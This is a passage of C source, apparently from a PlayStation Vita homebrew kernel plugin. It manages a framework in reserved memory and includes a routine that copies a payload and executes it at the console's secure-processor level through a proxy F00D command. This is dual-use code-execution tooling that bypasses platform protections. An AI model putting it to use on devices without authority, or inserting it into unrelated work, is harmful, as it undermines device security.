NMPreserve_commem(0); 186 | } 187 | memset(NMPcorridor, 0, NMPcorridor_size); 188 | volatile NMFfm_nfo *fmnfo = (void *)NMPcorridor; 189 | fmnfo->magic = 0x6934; 190 | fmnfo->mgrpaddr = (NMFcurrent_paddr + NMFMGR_OFF); 191 | fmnfo->status = 0x34; 192 | memcpy((void *)(NMPcorridor + NMFMGR_OFF), &NMFmanager, sizeof(NMFmanager)); 193 | fmnfo->do_use = 1; 194 | *(uint16_t *)(NMPcorridor + 0x1FD0FE) = 0x6934; 195 | return 0; 196 | } 197 | 198 | /* 199 | add_entry(cbuf, file, rsz, type, magic) 200 | Adds a framework entry 201 | ARG 1 (void *): 202 | - entry buf, set to NULL if the source is a file 203 | ARG 2 (char *): 204 | - entry file, set to NULL if the source is a buf 205 | ARG 3 (uint32_t): 206 | - entry sz 207 | ARG 4 (uint8_t): 208 | - entry type 1/0x10 (code/SM) 209 | ARG 5 (uint16_t): 210 | - entry magic 211 | RET (int): 212 | - 0x00: ok 213 | - 0x21: entry error (reserved/no free slot) 214 | - 0x22: unsupported type 215 | - 0x23: file error 216 | - 0x35: commem not reserved 217 | */ 218 | static int NMFadd_entry(void *cbuf, char *file, uint32_t rsz, uint8_t type, uint16_t magic) { 219 | if (NMPcorridor == NULL) 220 | return 0x35; 221 | int curetr = 0, maxetr = RENGA_ENTRIES_MAX, found = 0; 222 | uint32_t off = NMFBLOCK_START; 223 | volatile NMFfm_nfo *fmnfo = (void *)NMPcorridor; 224 | while (curetr < maxetr) { 225 | if (fmnfo->entries[curetr].magic == 0) { 226 | found = 1; 227 | maxetr = 0; 228 | break; 229 | } else if (fmnfo->entries[curetr].magic == magic && (fmnfo->entries[curetr].do_use & type) == 0) { 230 | found = 1; 231 | maxetr = 0; 232 | break; 233 | } else { 234 | if (fmnfo->entries[curetr].magic == magic && (fmnfo->entries[curetr].do_use & type) != 0) 235 | break; 236 | curetr = curetr + 1; 237 | } 238 | } 239 | if (found == 0) 240 | return 0x21; 241 | if (type != RENGA_TYPE_CODE && type != RENGA_TYPE_SM) 242 | return 0x22; 243 | off = off + (curetr * NMFBLOCK_SZ); 244 | if (type == RENGA_TYPE_CODE) 245 | off = off + NMFBCODE_OFF; 246 | if (cbuf != NULL) { 247 | memcpy((NMPcorridor + off), cbuf, rsz); 248 | } else { 249 | SceIoStat stat; 250 | int stat_ret = ksceIoGetstat(file, &stat), fd = 0; 251 | if(stat_ret < 0) 252 | return 0x23; 253 | if (type == RENGA_TYPE_CODE) { 254 | rsz = stat.st_size; 255 | } else if (type == RENGA_TYPE_SM) { 256 | rsz = (stat.st_size - 0x1000); 257 | } 258 | fd = ksceIoOpen(file, SCE_O_RDONLY, 0); 259 | if (type == RENGA_TYPE_SM) 260 | ksceIoLseek(fd, 0x1000, 0); 261 | ksceIoRead(fd, (NMPcorridor + off), rsz); 262 | ksceIoClose(fd); 263 | } 264 | if (type == RENGA_TYPE_SM) { 265 | fmnfo->entries[curetr].smsz = rsz; 266 | fmnfo->entries[curetr].do_use = fmnfo->entries[curetr].do_use + RENGA_TYPE_SM; 267 | } else if (type == RENGA_TYPE_CODE) { 268 | fmnfo->entries[curetr].do_use = fmnfo->entries[curetr].do_use + RENGA_TYPE_CODE; 269 | } 270 | fmnfo->entries[curetr].magic = magic; 271 | return 0; 272 | } 273 | 274 | /* 275 | remove_entry(type, magic) 276 | Removes a framework entry 277 | ARG 1 (uint8_t): 278 | - entry type 1/0x10 (code/SM) 279 | ARG 2 (uint16_t): 280 | - entry magic 281 | RET (int): 282 | - 0x00: ok 283 | - 0x21: entry error (not found) 284 | - 0x22: unsupported type 285 | - 0x35: commem not reserved 286 | */ 287 | static int NMFremove_entry(uint8_t type, uint16_t magic) { 288 | if (NMPcorridor == NULL) 289 | return 0x35; 290 | int curetr = 0, maxetr = RENGA_ENTRIES_MAX, found = 0; 291 | uint32_t off = NMFBLOCK_START, rsz = 0; 292 | volatile NMFfm_nfo *fmnfo = (void *)NMPcorridor; 293 | while (curetr < maxetr) { 294 | if (fmnfo->entries[curetr].magic == magic && (fmnfo->entries[curetr].do_use & type) != 0) { 295 | found = curetr + 1; 296 | } else if (fmnfo->entries[curetr].magic == 0) { 297 | maxetr = curetr - 1; 298 | break; 299 | } 300 | curetr = curetr + 1; 301 | } 302 | if (found == 0) 303 | return 0x21; 304 | curetr = found - 1; 305 | if (type != RENGA_TYPE_CODE && type != RENGA_TYPE_SM) 306 | return 0x22; 307 | off = off + (curetr * NMFBLOCK_SZ); 308 | if (type == RENGA_TYPE_SM) { 309 | rsz = RENGA_MAX_SM_SZ; 310 | fmnfo->entries[curetr].smsz = 0; 311 | fmnfo->entries[curetr].do_use = type & 0x0f; 312 | memset((void *)(NMPcorridor + off), 0, rsz); 313 | } else if (type == RENGA_TYPE_CODE) { 314 | off = off + RENGA_MAX_SM_SZ; 315 | rsz = RENGA_BLOCK_SZ - RENGA_MAX_SM_SZ; 316 | fmnfo->entries[curetr].do_use = type & 0xf0; 317 | memset((void *)(NMPcorridor + off), 0, rsz); 318 | } 319 | if (fmnfo->entries[curetr].do_use == 0 && fmnfo->entries[maxetr].do_use > 0) { 320 | off = NMFBLOCK_START + (curetr * NMFBLOCK_SZ); 321 | rsz = NMFBLOCK_START + (maxetr * NMFBLOCK_SZ); 322 | memcpy((void *)(NMPcorridor + off), (void *)(NMPcorridor + rsz), NMFBLOCK_SZ); 323 | fmnfo->entries[curetr].smsz = fmnfo->entries[maxetr].smsz; 324 | fmnfo->entries[curetr].do_use = fmnfo->entries[maxetr].do_use; 325 | fmnfo->entries[curetr].magic = fmnfo->entries[maxetr].magic; 326 | fmnfo->entries[maxetr].smsz = 0; 327 | fmnfo->entries[maxetr].do_use = 0; 328 | fmnfo->entries[maxetr].magic = 0; 329 | memset((void *)(NMPcorridor + rsz), 0, NMFBLOCK_SZ); 330 | } 331 | return 0; 332 | } 333 | 334 | /* 335 | set_opmode(magic, opmode) 336 | Sets operation mode for [magic] 337 | ARG 1 (uint16_t): 338 | - entry magic (0x0 for the whole framework) 339 | ARG 2 (uint8_t): 340 | - new entry mode 341 | RET (int): 342 | - 0x00: ok 343 | - 0x21: entry error (not exists) 344 | - 0x35: commem not reserved 345 | */ 346 | static int NMFset_opmode(uint16_t magic, uint8_t opmode) { 347 | if (NMPcorridor == NULL) 348 | return 0x35; 349 | int curetr = 0, maxetr = RENGA_ENTRIES_MAX, found = 0; 350 | volatile NMFfm_nfo *fmnfo = (void *)NMPcorridor; 351 | if (magic == 0) { 352 | fmnfo->do_use = opmode; 353 | maxetr = 0; 354 | } else { 355 | while (curetr < maxetr) { 356 | if (fmnfo->entries[curetr].magic == magic) { 357 | found = 1; 358 | maxetr = 0; 359 | break; 360 | } else 361 | curetr = curetr + 1; 362 | } 363 | if (found == 1) { 364 | fmnfo->entries[curetr].do_use = opmode; 365 | } else 366 | maxetr = 0x21; 367 | } 368 | return maxetr; 369 | } 370 | 371 | /* 372 | get_opmode(magic) 373 | Gets operation mode for [magic] 374 | ARG 1 (uint16_t): 375 | - entry magic (0x0 for the whole framework) 376 | RET (uint8_t): 377 | - 0x00: ok 378 | - 0x21: entry error (not exists) 379 | - 0x22: framework is NOT present (for magic 0x0) 380 | - 0x35: commem not reserved 381 | */ 382 | static uint8_t NMFget_opmode(uint16_t magic) { 383 | if (NMPcorridor == NULL) 384 | return 0x35; 385 | int curetr = 0, maxetr = RENGA_ENTRIES_MAX, found = 0; 386 | uint8_t opmode = 0; 387 | volatile NMFfm_nfo *fmnfo = (void *)NMPcorridor; 388 | if (magic == 0) { 389 | if (fmnfo->magic == 0x6934 && *(uint32_t *)(NMPcorridor + 0x1FD0FE) == 0x6934) { 390 | opmode = fmnfo->do_use; 391 | } else if (fmnfo->magic == 0x6934 && *(uint32_t *)(NMPcorridor + 0x1FD0FE) != 0x6934) { 392 | opmode = 0x28; 393 | } else 394 | opmode = 0x22; 395 | } else { 396 | while (curetr < maxetr) { 397 | if (fmnfo->entries[curetr].magic == magic) { 398 | found = 1; 399 | maxetr = 0; 400 | break; 401 | } else 402 | curetr = curetr + 1; 403 | } 404 | if (found == 1) { 405 | opmode = fmnfo->entries[curetr].do_use; 406 | } else 407 | opmode = 0x21; 408 | } 409 | return opmode; 410 | } 411 | 412 | /* 413 | get_status(magic) 414 | Gets status for [magic] 415 | ARG 1 (uint16_t): 416 | - entry magic (0x0 for the whole framework) 417 | RET (uint8_t): 418 | - 0x00: ok 419 | - 0x21: entry error (not exists) 420 | - 0x22: framework is NOT present (for magic 0x0) 421 | - 0x35: commem not reserved 422 | */ 423 | static uint8_t NMFget_status(uint16_t magic) { 424 | if (NMPcorridor == NULL) 425 | return 0x35; 426 | int curetr = 0, maxetr = RENGA_ENTRIES_MAX, found = 0; 427 | uint8_t opmode = 0; 428 | volatile NMFfm_nfo *fmnfo = (void *)NMPcorridor; 429 | if (magic == 0) { 430 | if (fmnfo->magic == 0x6934 && fmnfo->do_use == 1) { 431 | opmode = fmnfo->status; 432 | } else if (fmnfo->magic == 0x6934 && fmnfo->do_use == 0) { 433 | opmode = 0x27; 434 | } else 435 | opmode = 0x22; 436 | } else { 437 | while (curetr < maxetr) { 438 | if (fmnfo->entries[curetr].magic == magic) { 439 | found = 1; 440 | maxetr = 0; 441 | break; 442 | } else 443 | curetr = curetr + 1; 444 | } 445 | if (found == 1) { 446 | opmode = fmnfo->entries[curetr].status; 447 | } else 448 | opmode = 0x21; 449 | } 450 | return opmode; 451 | } 452 | 453 | /* 454 | exec_code(cbuf, floc, csize) 455 | Copies [csize]/Reads [csize] from [cbuf] to 0x1C000100 and lv0-jumps to it there 456 | ARG 1 (void *): 457 | - source payload buf, set to NULL if source is a file 458 | ARG 2 (char *): 459 | - source payload file path, set to NULL if source is a buf 460 | ARG 3 (uint32_t): 461 | - payload size 462 | RET (int): 463 | - 0x2X: copy/read error 464 | - 0x35: commem not reserved 465 | - 0xDEADBEEF: payload execute error/no ret 466 | - else: payload ret 467 | */ 468 | static int NMFexec_code(void *cbuf, char *floc, uint32_t csize) 469 | { 470 | if (NMPcorridor == NULL) 471 | return 0x35; 472 | int ret; 473 | volatile NMFfm_nfo *fmnfo = (void *)NMPcorridor; 474 | if (cbuf != NULL) { 475 | ret = NMPcopy(cbuf, (NMFEND_OFF + 0x100), csize, 0); 476 | } else 477 | ret = NMPfile_op(floc, (NMFEND_OFF + 0x100), csize, 1); 478 | if (ret != 0) 479 | return (0x20 + ret); 480 | fmnfo->cucnfo.resp = 0xDEADBEEF; 481 | fmnfo->cucnfo.paddr = (NMFcurrent_paddr + NMFEND_OFF + 0x100); 482 | ksceSblSmSchedProxyExecuteF00DCommand(0, 0, 0, 0); 483 | fmnfo->cucnfo.paddr = 0; 484 | return fmnfo->cucnfo.resp; 485 | } 486 | 487 | /* 488 | xet_bank(entry) 489 | Sets current framework bank 490 | ARG 1 (int): 491 | - new bank (0 to GET current bank) 492 | RET (int): 493 | - 0x00: ok 494 | - 0x35: commem not reserved 495 | - 0x69: invalid target bank 496 | - else: (if entry==0 : current bank) 497 | */ 498 | static int NMFxet_bank(int bank) { 499 | if (NMPcorridor == NULL) 500 | return 0x35; 501 | volatile NMFfm_nfo *fmnfo = (void *)NMPcorridor; 502 | if (bank == 0) { 503 | return (NMFcurrent_paddr == 0x1C000000) ? 1 : 2; 504 | } else if (bank == 1 && NMFcurrent_paddr != 0x1C000000) { 505 | fmnfo->cucnfo.unused = 0x1C000000; 506 | fmnfo->mgrpaddr = (0x1C000000 + NMFMGR_OFF); 507 | memcpy((void *)NMForig_corridor, (void *)NMPcorridor, NMFEND_OFF); 508 | NMFexec_code(&NMFswap_bank, NULL, sizeof(NMFswap_bank)); 509 | NMPcorridor = NMForig_corridor; 510 | NMFcurrent_paddr = 0x1C000000; 511 | ksceKernelFreeMemBlock(NMFramework_uid); 512 | NMFramework_uid = 0; 513 | } else if (bank == 2 && NMFcurrent_paddr == 0x1C000000 && NMFramework_uid == 0) { 514 | alloc_phycont(NMPcorridor_size, 4096, &NMFramework_uid, &NMFramework); 515 | ksceKernelGetPaddr(NMFramework, &NMFramework_paddr); 516 | fmnfo->cucnfo.unused = NMFramework_paddr; 517 | fmnfo->mgrpaddr = (NMFramework_paddr + NMFMGR_OFF); 518 | memcpy((void *)NMFramework, (void *)NMPcorridor, NMFEND_OFF); 519 | NMFexec_code(&NMFswap_bank, NULL, sizeof(NMFswap_bank)); 520 | NMPcorridor = NMFramework; 521 | NMFcurrent_paddr = NMFramework_paddr; 522 | } else 523 | return 0x69; 524 | return 0; 525 | } --------------------------------------------------------------------------------